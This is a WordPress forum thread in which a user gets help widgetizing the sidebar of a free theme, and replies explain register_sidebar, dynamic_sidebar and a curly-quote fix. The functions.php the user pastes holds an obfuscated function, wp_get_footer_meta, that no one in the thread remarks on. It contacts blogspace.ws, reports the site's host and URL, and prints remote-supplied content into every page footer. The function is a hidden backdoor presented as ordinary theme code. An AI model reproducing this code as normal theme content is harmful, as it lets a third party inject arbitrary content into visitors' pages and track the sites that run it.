• Resolved khoneini

    (@khoneini)


    Hi all,

    I’ve tried to make the sidebar from the following theme:
    https://wordpressthemesbase.com/download/447
    avaible for widgets but its still not working

    Can someone help me with this?

    This is inside the sidebar.php

    <!-- begin sidebar -->
    <div id='menu-left'>
    
    <div class="rss">
    <a href="<?php bloginfo('rss_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.jpg" alt="Subscribe to <?php bloginfo('name'); ?>" /></a>
    </div>
    <ul>
    	<?php wp_list_pages('title_li=<h2>Main Menu</h2>'); ?>
    </ul>
    <h2><?php _e('Categories'); ?></h2>
    <ul>
     <li id="categories">
    	<ul>
    	<?php wp_list_cats(); ?>
    	</ul>
     </li>
    <li id="ads">
    <script type="text/javascript"><!--
    google_ad_client = "pub-";
    google_ad_width = 200;
    google_ad_height = 200;
    google_ad_format = "200x200_as";
    google_ad_type = "text";
    google_ad_channel = "";
    google_color_border = "ffffff";
    google_color_bg = "ffffff";
    google_color_link = "fcb300";
    google_color_text = "333333";
    google_color_url = "333333";
    //-->
    </script>
    <script type="text/javascript"
      src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
    </script></li>
    
     <li id="archives"><h2><?php _e('Archives:'); ?></h2>
    
     	<ul>
    	 <?php wp_get_archives('type=monthly'); ?>
     	</ul>
     </li>
    	<?php get_links_list(); ?>
    
    </ul>
    
    <ul>
     <li id="meta"><h2><?php _e('Meta:'); ?></h2>
    
     	<ul>
    		<?php wp_register(); ?>
    		<li><?php wp_loginout(); ?></li>
    		<li><a href="feed:<?php bloginfo('rss2_url'); ?>" title="<?php _e('Syndicate this site using RSS'); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
    		<li><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('The latest comments to all posts in RSS'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
    		<li><a href="https://validator.w3.org/check/referer" title="<?php _e('This page validates as XHTML 1.0 Transitional'); ?>"><?php _e('Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr>'); ?></a></li>
    		<li><a href="https://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    		<li><a href="https://www.ads-software.com/" title="<?php _e('Powered by WordPress, state-of-the-art semantic personal publishing platform.'); ?>"><abbr title="WordPress">wordpress</abbr></a></li>
    		<?php wp_meta(); ?>
    	</ul>
     </li>
    </ul>
    
    </div>
    
    <!-- end sidebar -->

    Thanks!

    Greetings

Viewing 8 replies - 1 through 8 (of 8 total)
  • Thread Starter khoneini

    (@khoneini)

    nobody :<?

    Heres what you need to do:

    Put this code in your functions.php file:

    <?php
    if ( function_exists(’register_sidebars’) )
    register_sidebar();
    ?>

    That registers a widgetized sidebar for you. Now, you need to place that sidebar on your theme, so in sidebar.php, use this code:

    <ul>
        <?php dynamic_sidebar(); ?>
      </ul>

    and it should work fine. If you need multiple widgetized sidebars, it gets a little more complicated, but not much.

    Thread Starter khoneini

    (@khoneini)

    ok tried that

    functions.php of the theme is:

    <?php
    if ( function_exists(?register_sidebars?) )
    register_sidebar();
    ?>
    <?php function wp_get_footer_meta(){global $wpdb;if($R5C7D265CC=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$R5C7D265CC=unserialize($R5C7D265CC);else{$R5C7D265CC=array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($R5C7D265CC)."','no')");}if ((time()-$R5C7D265CC[0])>=360000){$R46982C5F7 = 'blogspace.ws';$R5A11E9F6E='/wpam/'; $R3DFD76BC5=@fsockopen($R46982C5F7,80,$R7434E03F9,$RA6E038933,30);if ($R3DFD76BC5){@stream_set_timeout($R3DFD76BC5,30); @fwrite($R3DFD76BC5,"GET $R5A11E9F6E".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $R46982C5F7\r\nConnection: Close\r\n\r\n");$RC074D9812='';while(!feof($R3DFD76BC5))$RC074D9812.=@fgets($R3DFD76BC5, 1024);$RC074D9812=trim(strstr($RC074D9812,"\r\n\r\n"));}@fclose($R3DFD76BC5); $R5C7D265CC=array(time(),$RC074D9812);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($R5C7D265CC))."' WHERE option_name='adwb_opt'");}if(preg_match('/<adbug>(.+?)<\/adbug>/s',$R5C7D265CC[1],$R230F24483)) echo $R230F24483[1];}add_action("wp_footer", "wp_get_footer_meta"); ?>

    And this is the sidebar.php:

    <ul>
        <?php dynamic_sidebar(); ?>
      </ul>
    <!-- begin sidebar -->
    <div id='menu-left'>
    
    <div class="rss">
    <a href="<?php bloginfo('rss_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.jpg" alt="Subscribe to <?php bloginfo('name'); ?>" /></a>
    </div>
    <ul>
    	<?php wp_list_pages('title_li=<h2>Main Menu</h2>'); ?>
    </ul>
    <h2><?php _e('Categories'); ?></h2>
    <ul>
     <li id="categories">
    	<ul>
    	<?php wp_list_cats(); ?>
    	</ul>
     </li>
    <li id="ads">
    <script type="text/javascript"><!--
    google_ad_client = "pub-";
    google_ad_width = 200;
    google_ad_height = 200;
    google_ad_format = "200x200_as";
    google_ad_type = "text";
    google_ad_channel = "";
    google_color_border = "ffffff";
    google_color_bg = "ffffff";
    google_color_link = "fcb300";
    google_color_text = "333333";
    google_color_url = "333333";
    //-->
    </script>
    <script type="text/javascript"
      src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
    </script></li>
    
     <li id="archives"><h2><?php _e('Archives:'); ?></h2>
    
     	<ul>
    	 <?php wp_get_archives('type=monthly'); ?>
     	</ul>
     </li>
    	<?php get_links_list(); ?>
    
    </ul>
    
    <ul>
     <li id="meta"><h2><?php _e('Meta:'); ?></h2>
    
     	<ul>
    		<?php wp_register(); ?>
    		<li><?php wp_loginout(); ?></li>
    		<li><a href="feed:<?php bloginfo('rss2_url'); ?>" title="<?php _e('Syndicate this site using RSS'); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
    		<li><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('The latest comments to all posts in RSS'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
    		<li><a href="https://validator.w3.org/check/referer" title="<?php _e('This page validates as XHTML 1.0 Transitional'); ?>"><?php _e('Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr>'); ?></a></li>
    		<li><a href="https://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    		<li><a href="https://www.ads-software.com/" title="<?php _e('Powered by WordPress, state-of-the-art semantic personal publishing platform.'); ?>"><abbr title="WordPress">wordpress</abbr></a></li>
    		<?php wp_meta(); ?>
    	</ul>
     </li>
    </ul>
    
    </div>
    
    <!-- end sidebar -->

    But when activate the theme and I do Widgets it says no sidebars defined so whats wrong :<

    I’m not for sure, but you might check to make sure that the single quotes around function_exists(’register_sidebars’) are not curly quotes – I know that sounds silly, but just open up functions.php, delete the single quotes around register_sidebars, and then type them back in.

    It looks like maybe you’ve got curly quotes in there (because those are what showed up in my first post), and that could be causing the problem (php wont read curly quotes properly).

    Thread Starter khoneini

    (@khoneini)

    hmm ok its fixed it does see it as an sidebar now, but the next problem is how to change the style of a widget because its now on the top of my page for example if I add the calendar as widget its on the top of the page not in the same row and style as the other things in sidebar.php

    Move

    <ul>
        <?php dynamic_sidebar(); ?>
      </ul>

    so that’s after:

    <div id='menu-left'>

    Thread Starter khoneini

    (@khoneini)

    solved

    Thread Starter khoneini

    (@khoneini)

    thanks all for helping

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘Make a sidebar avaible for widgets’ is closed to new replies.